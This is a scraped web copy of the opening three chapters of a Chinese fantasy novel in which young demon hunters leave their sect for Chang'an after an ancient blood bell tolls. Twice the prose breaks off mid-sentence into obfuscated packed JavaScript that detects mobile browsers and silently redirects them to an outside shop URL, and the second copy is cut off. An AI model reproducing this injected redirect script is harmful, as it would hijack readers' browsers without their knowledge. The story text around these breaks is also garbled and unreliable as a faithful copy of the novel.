《别急着杀我,让我哭一哭》 1. 钟声泣泪故人骨 离开山河派那天,胥远期回头望了一眼。 轩臧殿前积雪三尺,他幼时一累就喜好抱着的盘龙玉柱也覆上了皑皑细雪。 走出青灰色山门前,他特意细心地擦去了龙目上的雪。 那双长年拿剑的手,掌间已磨出了不属于十九岁少年的老茧。 少年眉目清亮,鼻尖上一点合欢红。 风声簌簌,天地寂寥一片,远处有一个圆圆的小黑点,是初小二在朝他招手:“远期,大家都往前走了,你怎么还站在那?” “来了!” 胥远期回首朝那人的方向喊了一声,他眸色眷恋,又回头对着龙柱轻声道:“保佑我长命百岁吧!” 少年大步迈开,奔向下山的队伍,不再回头。 浮云之上,高山之巅,前人用手一点一点凿出的七千青石阶,硬生生地在苍梧山上造就了一条通往山河派的天路。 算来,这是胥远期第二次走上这条石阶,所以他才会觉得下山的路有些陌生。 众人本可以御剑飞行,但掌门说,当年怎么走上苍梧山的,如今就得怎么走下去。 少年有些许意外,他竟在苍梧山上度过了不长不短的九年。 他想起第一次走上这条路,还是年幼时,掌门牵着他的手,一步一步地,满怀期待地上山。 到如今,掌门在队伍最前面走着,五十名除妖师跟着他,沉默不语地下山。 唯一不变的,是和当年一般无二的刺骨寒风。 “又是一年冬呀。” 胥远期身旁,怀中揣着一把剑的清瘦男子感慨道。 远期笑:“明日元宵,那时便立春了,几个时辰后就不是冬天了。” 男子轻摇头,略带遗憾的说:“可惜立春了还是一样冷。” 男子名叫初小一,他与刚刚呼唤胥远期的初小二虽名字相似,却无任何亲缘关系,只因一个是掌门在初一捡来的弃婴,一个是在初二捡来的弃婴,故得来了名字。 不等胥远期接话,初小二搓了搓手,随口问道:“长安的元宵会有什么不一样吗?” 他看着远处的掌门,继续道:“小时候掌门常说,长安的每个节日都很热闹,第一次不在门派里过元宵,倒有些手足无措了。” 胥远期二人默不作声,他们看向队伍最前端那个日渐消瘦的小老头。 掌门头发苍白,早没了当年的缚鸡之力,然他身后,曾经稚气的孩子已长成少年模样,或惶恐或悲伤或期待,走得倒都是坚定不移。 “误流年误流年,此去一两载,笑心比天高,叹命若微尘,别了轩臧又负了天。” 队伍中不知谁突然冒出了这样一句。 众人一阵唏嘘。 “莫哀婉莫哀婉,幸得一两载,为天决证道,护黎元安泰,既守吾心何惧负天。” 又有人冒出了这样一句。 众人笑。 胥远期脸上看不出什么表情,他听到前面有人轻声说了一句:“既是盛世,为何百万除妖师葬身长安?” 他鼻翼微抖,这空气中混杂着深山老林特有的苦涩味道,风经过这座山时,总能听到类似野兽的哀嚎。 刚来的时候,每每夜晚他听到嚎叫声还会害怕,大几岁的初小一就安慰他说:“这些都不可怕,我们是要抓妖的,掌门说妖可比野兽可怕多了,我们连妖都不怕,怕什么野兽!” 那时一旁的初小二也捂着耳朵哆哆嗦嗦地点头壮胆。 远期本是害怕的,但他看初小二缩着像个汤圆一样,就有点想笑,时间久了,他总是默念小一的话,也便不怕了。 想起这些事,他的脸上也多了几分笑意。 坑坑洼洼的阶面上结了冰,大家走路时得低着头时不时注意脚下。 少年垂眼望去,乌泱泱的玄衣弟子们背着一把剑,众人走得紧凑,他觉得已有几分燥热,可向下随意一瞥,他们还未走到半山腰。 赶路中的思绪总是断断续续,在灵魂好似飘荡一会后,胥远期又想起了初小二的话。 他回道:“长安热闹,景美,楼高,人也多,我们这么多人,元宵定不会孤单。” 闻之,初小一打趣道:“远期这语气听上去倒像是很想去长安。” 胥远期付之一笑,他道:“总要去的。” 他的目光投向百里外浮云笼罩着的长安城。 他想去长安看看,不仅仅是他身为除妖师的使命,还有个重要的原因—— 有一张脸也许只有在长安城才能见到。 少年的眉头微皱,虽日日在门派风吹日晒,但他的脸并无粗犷之气,反倒精雕细琢得宛若陌上傅粉郎。 初小二常常感慨说,胥远期这般容貌姿态的人,不该和他们一样。 不该和他们一样都是被遗弃的孩子。 这个人妖相杀的年代,大部分无家可归的孩子都上山成了除妖师。 一说千万年前,曾有一仙子游历人间,其钟爱世间草木,于是降下福泽,各花木历百年而幻化成人形,成了凡人口中的——妖。 又相传真相乃有灵气的花叶编织荆棘困仙子之身,夺其仙法而化为人形。 众说纷纭,非爱即恨,难以参透真假,只是自那以后,世间万物吸收天地精华,不断修炼成妖。 她们潜藏在人群之中,了解着人类的习惯,无意间的一次杀戮,让妖不小心发现一个秘密:吸食人血远远比自我修炼更能提升修为。 再次偶然的一天,百无聊赖之际,嬉戏的妖族看见了一个人,那是众生朝拜的王。 阳光之下,皇帝高高在上的模样百姓皆畏,他高呼妖乃人魔,祸国殃民,群情激愤之际,世人未曾注意到,阴影之下,他们口中的“人魔”嘴角已微微上扬。 从那一刻起,人与妖便开始了数万年的纠缠与厮杀。 胥远期所在的这片土地,名为天决。 天地初开之时,混沌中升起一片无垠的陆地,漂浮在茫茫海面之上。 大陆中央,矗立着无解山,无解山上寸草不生,但山顶上却有一棵树,茂密无比,也名无解。 这里没有隘口,没有河谷,没有任何一条路可以翻越。它像一道从天而降的墙,将这片大陆一分为二,东西永隔。 山以西,是为妖界。山以东,是为人间。 而人间的中心,便是那统治这片大地已达数万年之久的国度——天决国。 天决国,人间唯一的国度,也是这片大陆上最古老、最庞大的政权。它的历史比人类记忆本身还要漫长。 数万年来,王朝更迭,皇帝轮替,但国号从未更改。 天决国没有史书,万年太久,历史已没了意义。世人只有一句话:“天决的岁月,自有神明所记。” 天决国以长安为都,千年前,天决国有一除妖门派,名为永安,建于长安城外十公里处的琅嬛山之上,此派实现了人妖的短暂和平。 人妖和平之后,无解之西的妖族与无解之东的人族可正常往来。 可惜这份宁静连一百年都没有维持到,妖类毁约,再次入侵长安。 也就是在此刻起,人类再也翻不过无解山了,像是一层巨大的屏障彻底挡住了凡人。 于是人间的孩童常常唱首童谣:无解山上无解树,无解树下无解路,谁若敢把树来数,西边日出东边暮! 大战爆发后,永安内乱,在挣扎之中,曾经辉煌的永安派最终分裂成两个门派,即胥远期所在的山河派和云笈山上的风云派。 两大掌门带领着各自的信徒一南一北,留下了孤寂的永安门派。 后来,全国各地逐渐也有能人异士建立新的除妖门派以对抗妖族。 世道险恶,妖法之强大让凡人望而却步,加之门派对除妖师的训练十分严苛,因此家境好一点的人家,没有多少愿意送自己的孩子涉险。 大多数除妖师都来自些走投无路的困苦人家,或是掌门人下山寻得的愿意跟他一起走的孤儿,当然也有些是真正想拯救世人的英雄。 胥远期是第二类,他偶尔会产生一种他是第三类的错觉,不过也仅仅是错觉。 几百年恍惚而过,曾经的永安门派已经破旧不堪,唯一没变的,只剩一座钟。除妖师私下里都戏称它为“血钟”。 据说巨大的古钟上留存着千百年间所有除妖师的血迹,每到夜晚时便会发出血红之光,即使远在长安城内,也看得触目惊心,宛若沾着血的利爪在温柔抚摸着众人的头发。 而钟响之 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那时候胥远期怎么也不会想到,就因为自己多嘴的一句话从此被老人“拐”到山河派了。 九年一晃而过,山河派的练功台上,总能看见胥远期手持长剑的身影,随着少年手腕转动,脚步转换,凌厉的剑法扬起阵阵杀气之风。 九年时间,他听过不下五次钟响,但今日这次,却不一样。 彼时的胥远期像往常一样修炼,大初小初则坐在一旁,两个人挤着对方取暖,聊着八卦痴傻地笑个不停。 万物美好,然“咚”的一声措不及防地传来,随后,声音继续蔓延,“咚咚咚——”,刺耳又渗人,绵延不绝。 寒冷的空气好似瞬间凝固,连笑容都僵硬在门派众人的脸上。 这声音他们谁都清楚,是永安血钟。 大初小初慌忙从地上站起,相互搀扶的手都有些错愕。 胥远期也怔在原地,脸色极为冷峻。 钟声穿越千万里,将整个国度笼罩其中。 长安的甘棠大道人群熙攘,在听到钟声这一刻瞬间鸦雀无声,母亲捂住了孩子的耳朵,满脸愁容地看着远方,大家默不作声,只有死一般的寂静。 在那无人之处,京城里最后一位除妖师倒在血泊中,颤抖不已的手终于归于宁静,眼中一行清泪划过,泪水与血水交融,嘴中还在喃喃道:“我来见你们了,来了,我来了,总算来了……” 少年身旁躺着一只面目狰狞的妖怪,须臾之间这妖化为泡影,消失在世间。 “钟响之时,意味着旧人已逝,新的轮回再次开始。” 胥远期越来越明白这句话。 这是陈述,是预言,也是诅咒,是这个国度赋予每个除妖师的死亡诅咒。 顷刻之间,所有山河派的弟子都集合在轩臧殿前,整齐划一,表情严肃。 山河掌门立于弟子之前,庄严说道:“旧人皆逝,长安已无除妖师,今按往例,我山河派需选取五十人和风云派弟子共赴长安。” 初小二站在胥远期身旁,他先是低头沉默着,然后突然道:“不到一年,一百人全死了,这次也该轮到我们了。” 胥远期看着初小二落寞游离的模样,不知该如何劝慰。 百年来,那些新生门派负责应付京城外偶尔出没的妖怪,而对于妖怪最多的长安,山河派和风云派约定,每次各选派五十除妖师前往此地,古钟乃魂器,以血祭拜可与生死相连,当这一百人全都身亡后,古钟就会响起,声声泣泪,好似哀嚎。 不出所料,这次确实轮到他们了。 这些年来他们日复一日地在远离纷扰的山上练习术法,就是为了等到下山这一天,可对除妖师而言,出山与赴死,是同一个意思。 想到此,胥远期的脚踏在七千石阶上,目光再次看向了百里外的长安,阴沉沉的苍穹下,长安的灯火依旧繁华。 赴死一说,他不畏惧,只是内心总有一个念想一直不安分,他想知道,在长安,能不能再次看到那张脸。 那张他曾在南柯一梦中,偶然窥见的,绝世的女子的脸。 2. 钟声泣泪故人骨2 临近傍晚,收尸人找到了长安最后一位除妖师的尸体,运往了永安。 走下大山后,两大门派的弟子在两方掌门的带领下,御剑飞往永安。 四周黑漆漆的,站在长剑上,遥望云层下,隐约可见大地雪覆万里。 这天气冻得人发抖,等到了目的地时,大家已冷得不想说话。 胥远期看见对面方向飞来几十人,忍不住多瞄了几眼,只见五十白衣风云弟子神色淡漠,少年心中感慨,风云派的弟子如此镇静,想必定是十分厉害。 他的余光看到身旁好像有什么“鼓”起来了,转头一看初小二已挺直了胸脯,想显得更有气势。 初小一倒是看不出太多紧张,他还对着胥远期低声调侃道:你看,小初像一个认真的小胖墩~ …… 众人站定后,没有门派寒暄的情节,掌门直接带着他们走向后殿。 永安门派曾经的后殿如今已成了墓地,名往生,几百年来,死去的除妖师都会被埋在这里,尸体无迹的也会在此立座墓碑。毕竟永安是除妖师发育的根源,也算是魂归故土。 按照惯例,被选中的一百人要一齐祭拜逝者。 时辰未知,天地成了墨蓝之色,在墓地的正中央偏左处有一尊巨大的雕像,是永安的创始人,也是世人口中的除妖祖师,胥道成。 当第一次知道这个名字时,胥远期心中隐隐觉得自己和他有什么关系,但这种想法太过自恋,他一直没好意思宣之于口。 只有初小一初小二有时候会调侃他和这位名垂千古的祖师爷说不定有点血缘关系,他也一笑了之,要说真有血缘关系,那也稀释祖宗十八辈了。 这场祭拜比胥远期他们想的还要更加仓促,没有人说多余的话,一切好像水到渠成般,在离开时他还回头看了一眼,一个风云派的女子正轻轻擦拭墓碑上的名字。 胥远期知道那是谁的墓碑,墓碑的主人是风云少主易世安。 一进后殿他第一个注意到的是胥道成的雕像,第二个便是易世安的碑了。 其实墓碑表面并无甚不同,只是这易世安三个字实在是太过耀眼。 他不禁感叹,不愧是曾经盛名一世的风云少主,生前他的故事便在门派内人人传颂,即便已死去四年了,依旧会让人为之停留片刻。 若是有时间,胥远期也想在这个传奇少年的碑前好好看一看。 掌门很快便带领他们来到古钟前,偌大古钟不靠任何器具竟可悬在半空中,钟上的雕刻本就怪诞,外面还染着千万除妖师的鲜血,老远看了还以为是什么不祥之物。 “果然是血钟。” 队伍中有人轻声啧了一句。 钟上刻着的纹路弯曲萦绕,如利爪又如流水,除妖师世代相传,纹路上藏着千年前的秘密。 山河派和风云派弟子各站钟的两侧,相对而立,山河派身穿玄衣,风云派则为白衣。 寒风下,长袍宽衣窄袖银带,高高束起的头发,与背在身后的剑,尽显浩荡之意。 在掌门的带领下,两个门派的人一一上前,用尖刀划开手掌,鲜血流出,掌心印于钟上,从此刻起,古钟便于众人生死相连。 “我以我身,祭民祭魂,庇佑我族,万年昌盛。” 众人双手合十,紧闭双目,朱唇轻启,振振有词。 天空的黑色逐渐褪去,已有破晓之象,空旷的永安和天地之间只回荡着这句话,久久未曾散去,一种从内心深处产生的肃穆萦绕着所有人。 可不知是不是幻觉,当胥远期的血落于古钟之上时,他听见有人在笑。 那声音有男有女,轻飘飘地划过少年的心头,瘙痒至极。 他错愕回头,众人神色如常,无人说话。 他打量这古钟几秒,浓厚的血腥味传入他的鼻腔之中,让他与刚刚听到的爽朗笑声无法联系起来。 少年心中觉得怪异,带着些许迟疑退到了队伍之中。 他垂下头,看向手中这道血痕。 殷红的鲜血还在向外隐隐渗出,他的指尖活动了一下,手掌展开的同时伤口裂得更大,许是这手被冻得没什么知觉了,即便流血也感受不到太疼。 一切仪式结束后,年轻的除妖师们便踏上了前往长安的路。 在天空破晓之际,一百名少年御剑而起,只留下两个老者在身后挥手告别。 胥远期和大初小初并肩而行,飞了一会后,一个少女的声音忽然传来:“诶?那是什么?” 众人抬头望去,只见前方有几朵悬在空中的“小乌云”。 初小一定睛道:“是书中的飞物。” 书上记载,这世间常有妖化形失败之事,他们没能有人形,却幻化出了一束灵魂,像飞在空中的“灰鱼”,但什么也做不了,本是飞物,久而久之,世人都称他们为小废物。 民间的父母恐吓孩子时常说:“你要是不好好读书,就和天上的小废物们一样,活也活不好,死也死不了!” 这群小飞物特别喜欢在大妖施法时聚集在周围,它们似乎相信只要吸收这些边边角角的法力,总有一天,它们也能幻化成人形。 因此,它们也成了除妖师眼中的导航,哪里有飞物成群聚集,哪里就有正在作恶的妖怪。 “哦~”少女与她同行的人都点了点头。 胥远期三人回头看向刚刚问话的少女,惊道:“清冉你们仨怎么这种姿势?” 只见一旁的三人,顾清冉,纪白汐还有许裳裳,他们手挽着手御剑,顾清冉被夹在中间。 这三个人傻呵呵地笑了声,也没回答就飞跑了。 初小二挠了挠头赞叹道:“关系可真好~” 胥远期刚想接话,突然听到前面的两个飞物发出了声音:“快看快看,又来了一批除妖师!” 他怀疑自己耳朵听错了。书上可没有记载这些飞物还会说话。 “它们在说话?”他问。 大初小初:“谁?” “小飞物。” “啊?小飞物会说话?没有吧。” 只听飞物继续道: “你猜猜他们谁会先死?” “这个姑娘看起来呆呆的,就她吧。” 胥远期抬眼望去,它们说的人是许裳裳。 不过一秒,许裳裳忽然甩起手中的流星锤,将两个飞物砸稀烂,它们“哎呦”了一声,过了一会又重新聚集起来。 见状,胥远期向大小初道了句“等等”,而后加速飞到许裳裳身边,他问道:“裳裳,你是听到了什么吗?” 那个有点“呆呆”的女孩眼睛亮晶晶的,她道:“没听到什么呀。” “那你怎么挥了一下锤子?” 许裳裳和她手挽手的二人同时笑道:“因为那两个小飞物挡路。” 她接着问道:“怎么了,刚刚你喊我了吗?” 胥远期摇手:“没,我就问问。” 奇怪,竟然都听不到。 没等他继续想,那两个小飞物忽然飞到了他跟前。 一个惊呼道:“哟!这个好看!我要化成妖我都舍不得杀这个宝贝。” “到时候都不知道咱两是男是女呢。” 话音未落,那个有点猥琐的小飞物又瞬间飘向风云派的一个少年,开心道:“这个也好看!” “哎呀!”小飞物忽然发出尖锐的叫声。 它后悔地喊道:“不好看不好看!这边脸也太可怕了!” 胥远期循声望向那个少年时,少年也忽然回头。 看见那半张脸,胥远期一怔。 飞物口中可怕的那半张脸上,有一道从耳根绵延至下巴的扭曲的疤,那疤相当的宽,占据了小半张脸,但另外半张脸实在俊美,任谁看了都会惋惜。 撞上了他的目光,胥远期觉得有些尴尬,那少年却轻轻向他点头微笑了一下。 此时他确定了一件事,这不是幻听。 眼前的小飞物半点也没安分,它们又窃窃私语道: “那个背影怎么有点像那个。” “哪个?” “那个!” “哦,你说那个!” 明明也没其他人听他俩说话,俩小飞物忽然降低音量道:“易世安是不是?” “是,看看去。” 看罢,一个小飞物啧了一下:“这张脸……” “帅!”猥琐小飞物已经迫不及待了。 另个小飞物摇摇头:“帅是帅的,但这张脸有点熟悉。” “哦哦哦……我知道了,像……” 胥远期想仔细听听,奈何小飞物越飞越远,他实在听不清了。 胥远期努力看过去,飞物说的那人长相出众,但脸上平淡如水。 有些人即使不做表情也是一种表情,可胥远期看着那少年,只觉得一个字——淡。 完全看不出任何表情的平淡,好像没有任何世俗欲望一般。 大初小初追了上来,笑道:“你盯着别人望啥呢?” 胥远期如实道:“我刚刚好像听见飞物在说话。” “什么?” “我确实听到了。” 大初小声道:“这事不太正常,先不要随便说。” “对对,远期你不会是飞物化形吧。” “应该不是吧……” …… 讨论片刻后,初小一肯定道:“不过确实有八卦说简无遗如同当年的易世安一般。” “简无遗?”胥远期反问,名字有点熟悉。 “对呀,前面那少年叫简无遗。” 初小二听着也挤了过来:“很多人说他很像当年的易世安,一样的风流倜傥,一样的修为高深。” “哦~” 他俩这样一说胥远期就想起来了,怪不得觉得这个名字耳熟,之前听过有人把他和易世安一起提。 初小二话锋一转:“当然,在我眼中,谁都比不上我们家远期。” 胥远期:“……” 明昭十四年初,此时刚过完年没多久,明日便是元宵节了,像是命运使然,让他们注定无法在各自门派过完今年的元宵。 一行人飞到半路时天空下起了纷纷大雪。 这雪下得突然,招摇至极,满天纷飞,回旋乱舞,枯叶飘然化梨花。 胥远期抬起头,雪花落在少年朝气蓬勃的眼角眉梢,他伸出手接到几片从容落下的雪花。 他没有看见,前方的简无遗同样伸出手接住了雪花。 简无遗目光柔和,看着雪花在指尖一点点融化,他回头看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469008|201376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,胥远期正和周围人挤挤闹闹,简无遗似有片刻的愣神,转身之间,他的神色又恢复到原来的冰冷。 人群中有除妖师看着雪花惋惜道:“听说长安已经很多年不曾下雪了。” “对呀,即便城门外雪落三尺,一墙之隔的城内也是片雪不曾落。” “真是怪异。” “长安怪异的事还少吗?” …… 此时的无解之西,一处寻常的屋子里,一面容娇俏的少女半开房门,向周围望了望,嘴中念着:“不应该呀,姐姐去哪了?” 屋外的风向屋内灌了进去,吹得少女微微闭上了双眸,她关上了门,一转身一个小孩便扑了上来。 小孩小小一只,十分可爱。 “小姨,阿娘怎么一夜晚都没回来?”孩子揉着眼睛问道。 “怎么醒了?”少女柔声道。 小孩问道:“阿娘呢?” 女子笑着摸了摸孩子的头:“时遂乖乖,阿娘很快就会回来的,天才刚亮,再回去睡会儿。” 小男孩名叫时遂,而被他称为小姨的女子,叫做珏含,他们居于无解之西,乃妖。 时遂点点头回到床上,珏含为他盖好被子,她抬头看着外面,手还在轻轻拨弄理顺时遂的头发,心中愈发焦急:姐姐不会遇到危险了吧? 她又自言自语道:“不对不对,姐姐那般厉害,谁能欺负得了她,肯定是有其他事。” 而几个时辰前,长安的一家棺材铺里,两个披着黑色斗篷的影子将一个棺材板合上。 一个男声道:“就这样吧。” 旁边的女声沉默着回应:“嗯。” 黑暗中,女子的目光落在合上的棺材里,二人不再多说一句。 他们从容离开,身影在屋檐上快速穿越,奔向无解之西。 东方赤阳冉冉升起,除妖师们载着一身风雪站在长安城门前,暖暖的阳光撒在他们的身上,试图抹去夜里的寒冷。 那被阳光照着的脸,全是二十岁少年的模样,背上的一把长剑,形式各异,在阳光下剑柄反射着金色的光,耀眼夺目。 他们抬起头,看着长安,这是天决国最繁华的城,也是妖怪出没最频繁的城。 胥远期眯着眼,昨夜路上脸被风雪吹得有些疼,突然感受到阳光反而有些不适应了。 甘棠大道上,人们站在两旁,欢呼着除妖师进城。 百人队伍,黑白分明,整齐划一,迎着街道行人满怀期待的目光,原本还有许多忐忑的除妖师瞬间直起了腰背。 百姓的目光赤诚又灼热,这些少年少女许久没见到这么多殷切期待的目光了,他们内心出现了一个念头:想守护好这些笑脸。 跟着指引,众人到达归墟司。 归墟司,是几百年前天家为除妖师所建,连名字都为天家亲手所提。 归墟司从外观看上去就极为大气富贵,规模比以前的门派还要大不少。 正当门外弟子踌躇之时,府中走出一位中年男子向他们微微鞠躬。 “我乃执笔人,诸位请随我前来。” 执笔人,这个称呼,胥远期是听说过的。 他们最初专门记录历代除妖师经历的战事与生死,并将其整理成册,分为两部 ,一为《故人记》,二为《万妖录》,后来府中其他管理者也都被称为执笔人。 胥远期一行人跟着他走向了府邸。 许是皇家感念除妖师为国效力、年轻丧命,归墟司装修得确实豪华。 踏过无极门,重檐庑殿顶映入眼帘,其如鎏金般熠熠生辉,古铜色的大门蒙上沉稳的光泽,门上雕刻得宛若真身的应龙正用那双灭世之眼狠厉地盯着前方。 执笔人心无波澜地介绍道:“此为前殿,名为柏舟,是以后诸位议事之地,旁边的偏殿是用餐之地。” “这大殿之后,穿过长桥,便是诸君以后可用来练功之地,山水花草,怪石浅池,庭院楼阁,应有尽有。” “东西两边各有十个阁院,每个阁院之中有六间可供人居住的屋子,我等已将上一届除妖师的东西都收拾好了,大家不一会儿便可前去入住。” 归墟司的待遇他们早就听说过,真见了,还是很难心如止水。 胥远期深吸一口气,满院都是阳光的味道,不像宗门的高山,吸一口气就是刺骨的寒。 执笔人停下脚步,又有几人拿着几盒木签走来。 “依照惯例,除妖师入长安后,先分散居住,一年后,再入归墟司。因此以归墟司为中点,东、西、南、北,西南、西北,东南、东北,这八个方位皆建有相应房屋,规模虽不及归墟司,但也可满足诸位需求。” “现在,请诸位抽签。归墟司留下二十人,其余八个方位皆十人。” 闻言,人群中很多相握的手握得更紧了。 在执笔人的示意下,大家开始一个接一个地抽签。 胥远期捏住签头,眼神淡淡向下瞟,三字映入眼帘:归墟司。 初小二:“我是西!” 初小一:“我是东!” 二人凑过去看向胥远期的签,随后作出了惊讶中混杂着忧心的表情:“撑住!” 胥远期的脑子有点混乱:归墟司,四大诡事占了两个的归墟司?! 3. 钟声泣泪故人骨3 除妖师内部广泛流传着四大诡事。 诡事之一,少主之死。 少主,即为风云派弟子易世安,世人谈及他,无非皆是云中白鹤,昆山片玉。 其少时便聪慧,天赋极高,据说是百年难得一遇,性格又甚好,是无数人心中的白月光,一直以来被风云派掌门视为继承人,因此得来“少主”尊称,奈何少年心气高,不愿守在云笈山上,誓赴长安守护苍生。 除妖师远赴长安上百年,唯独易世安的出现,才第一次让众人知晓了“危妖”的存在,一时之间,门派轰动。 据说危妖乃妖皇培育出的妖怪,是已知最强大的妖,在易世安之前的除妖师都还没能接触到危妖便命断长安。 同伴死尽后,二十二岁的易世安独守长安九月,先后斩杀三只危妖。 然而,关于这个天才的结局,《故人记》中只轻描淡写落下一句:“风云派弟子易世安与妖女危月在大战中同归于尽。” 寥寥一句,怎么死的,在何处死的,都没有解释。 世人只道,孤才陨落,白月归天。 他的死,也成了后来除妖师时常谈到的话题。 每每听到这个话题的时候,胥远期都会轻叹:“易世安,你的死究竟困住了多少人?” 诡事之二,古钟密文。 众人皆知,永安派前的偌大古钟上,雕刻着扭曲怪诞的字体,仿佛是一种密文,但这千年前雕刻下的的秘密,千年后的他们无人知晓。 胥远期在立誓时多看了几眼,字体奇怪,他实在看不懂。 诡事之三,归墟哀响。 约摸从几年前开始,每逢深夜,归墟司的地下总能传来凄惨悲切的哀嚎声。 声音回荡良久,悲凉至极,让初入此的除妖师们不寒而栗。 又或许发自心底的畏惧,让他们不敢去探究地下的秘密。 甚至胥远期听说,有时不光是夜晚会有惨叫声,白天也会有。 诡事之四,则是最血腥的血衣灭门。 五十年前,归墟司内发生了一起灭门惨案。 初出茅庐的百位除妖师到达归墟司的第一天夜里,被一女妖尽数屠杀,只有一个躲起来的执笔人幸存于那场祸事之中。 掌门痛心,雏羽初涉世,未谙江湖险,灾难突临,乱了阵脚。 因此,才有新规诞生,除妖师入长安后,先分散居住,一年以后,再入归墟司。 而那个才二十出头的执笔人在众人赶来之时,彻底疯了,嘴中只喃喃重复一句:“血衣……好美的血衣……” 从此,“血衣灭门”之案成了除妖师挥之不去的噩梦,下山的第一天,没有人能安然入睡。 如今,归墟司四大诡事中就占了两个,确实让众人不免生畏。 胥远期强颜欢笑:“无妨无妨。” 大初小初轻轻拍了拍他的肩膀。 他轻叹一声,抬头一瞥,意外看见有两个女子交换了竹签。 一个就是刚刚路上问话的顾清冉,顾清冉还有一个哥哥也在这,叫顾长聿,抽签的时候他就站在胥远期身旁,胥远期看见他抽到的也是归墟司。 另一个女子打扮得干练洒脱,是在易世安墓前久久未离去的人。 他心中有些许好奇,便问一旁的初小二道:“你知道那姑娘是谁吗?” 初小二顺着他的目光看去,“她呀,付夜紫,你不知道吗?风云派掌门之女。” 初小一突然贼兮兮地说道:“我听说一个小道消息,风云掌门很中意简无遗,一直很想让自己的女儿和简无遗在一起,但他俩好像互没看上眼,反正现在就是毫无进展。” “你怎么连这都知道?”看着初小一侃侃而谈,胥远期惊呆了。 “低调低调……” 初小一正说着话,目光突然盯在胥远期身后不动了。 胥远期看过去,说话那人举手投足间趾高气扬,满脸的戾气与不屑。 初小一瞄着那人,目光先是瞥向他的头饰,然后落到他腰间的玉佩与容臭之上,最后偷偷瞄了一眼他手中的竹签。 他摇摇头,叹息一声,对初小二说道:“小初,你完蛋了。” 初小二摸不着头脑:“咋了?” 初小一一副郑重其事的模样:“你和阴执一都是西。” 胥远期:“阴执一又是谁?” 看着他迷茫的眼神,初小二绝望道:“当朝宰相之子。” “家世好,自诩清高,盛气凌人。”初小一摇了摇头。 胥远期似懂非懂地点了点头,他还以为所有除妖师都出身贫苦呢,此刻便有些疑惑:“既是宰相之子,为何来当除妖师?” “据说当时愿意当除妖师的越来越少,宰相为了号召百姓,身先士卒,于是将自己疼爱的儿子送了出去。” “原来如此。” 胥远期现在只觉得风云派的人,像简无遗、付夜紫、阴执一,他们个个都是有点家伙在身上的,一对比发现山河派的人也太朴实无华了。 他看向初小一,惊讶道,“不过,你怎么什么都知道?!” 初小二慢条斯理地回答道:“八卦就是大初的兴趣爱好,平时每月下山采购货物的时候他就特积极,得到了好多次机会,这时候也能遇见风云派的人,他就四处打听消息,啥事都要打听打听。” 胥远期对着初小一竖起了大拇指。 初小一认可地点了点头。 几人又相互叮嘱了几句才告了别。 胥远期扫了一眼留在府邸内的二十人,一大半都是山河派的人,顾清冉那三人以及他哥都在,简无遗也在。 胥远期对简无遗这人有些好奇,他长得倒是温和俊雅,但怎么能面无表情到这种地步。 尤其是听了小飞物的话后,他更好奇,这简姓少年究竟和当年的易世安有多像。 在他思考之时,执笔人的声音再度响起。 “府中除你们外还有十人,包括我在内,负责诸位吃食和大事记载,其余事情全靠诸位自己安排。” 他顿了顿,又道:“上届除妖师让我转告你们,有一白骨所化的妖怪,害人无数,遗憾数次抓捕未果,此妖喜热闹,极有可能在元宵夜出没,望后来者可先将此妖除之而后快,圆前人未了之遗愿。” 说话的人像是背诵诗章,倒显得有些刻薄,话音刚落便快步离开。 胥远期有些凌乱,这么快就要实战了? 众人略显兴奋地选屋子,胥远期逛了很久,最终选了一个最西侧名为“月沉阁”之地。 他进去时,发现有间屋子已住了人。 他觉得有趣,谁和他选了同一个院落。 于是他在门前佯装不经意地向内瞟了一眼,竟是简无遗。 趁对方未察觉,他赶快进了屋。 房间的布置很简单。 一张床,一张靠窗的方桌配两把椅子,一套衣柜,以及一面墙的书柜。 后面还有个面积不大不小的隔间,放着沐浴所需的浴桶。 行李收拾好后,胥远期便停在了书柜前。 书柜上的书分为两栏,一栏名为《故人记》,一栏名为《万妖录》。 他从故人记中抽了一本出来,书中记载的是历年来除妖师之死,白纸黑字,死法却千奇百态,有些血腥到让人如坐针毡。 胥远期紧锁着眉头,又抽出了一本,他看到了易世安的名字。 果然如诡事所言一般,别人的死亡都是具体的一大篇字,可关于易世安的死,书上只有一句话:“风云派弟子易世安与妖女危月在大战中同归于尽。” 为什么关于这个传说中的天才,只留下了一句话?胥远期有些想不明白。 “危月……”胥远期看着书上这个名字,也是一只危妖。 胥远期眼前一亮,他又在万妖录中翻找,果然找到了危月这个名字。 “危火、危河、危月,皆属于危妖,其能力远超寻常妖怪,手段残忍,明昭九年,危火、危河被易世安所杀,明昭十年春,危月身死,目前其他危妖,暂不得知。” “原是如此。”胥远期轻轻了合上书,他低着头,眼中有万千思绪。 与他一墙之隔的简无遗同样站在了书柜前,当他看到关于易世安的那句话时,眸色微沉,语气冷冷道:“欲盖弥彰。” 偌大的归墟司安静不已,所有新来者都在书柜前驻足良久。 世间多少秋毫,昔日那般惨烈的景象,在多年以后,也只成了书上早已干掉的墨,供后人借鉴。 胥远期看着泛黄的书页,他在想,会不会某一天,他的死也被记录在相同的纸张上,让后来的除妖师们驻足良久。 他拖下靴子,躺下床闭着眼睛想睡一觉。 昨夜一宿赶路未睡,着实是累的。 不过他显然高估了自己的心态,他掀开眼,抬眸望去。 冷风一直往屋中灌,白纱帘被吹得轻轻扬起,石板上的阳光若隐若现,这个屋子中有一种久未见人的湿气,窗边摆放的那盆剑兰已枯死,枯枝粘黏在泥土上,花瓣失去了颜色,只是它的形状还维持在盛放最美的时候,想必是上一个曾在这里居住的人栽种的,但没等到冬天那人便死了,花因为没人浇水也死了。 “满屋子的债。” 少年实在难以入睡,只能坐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 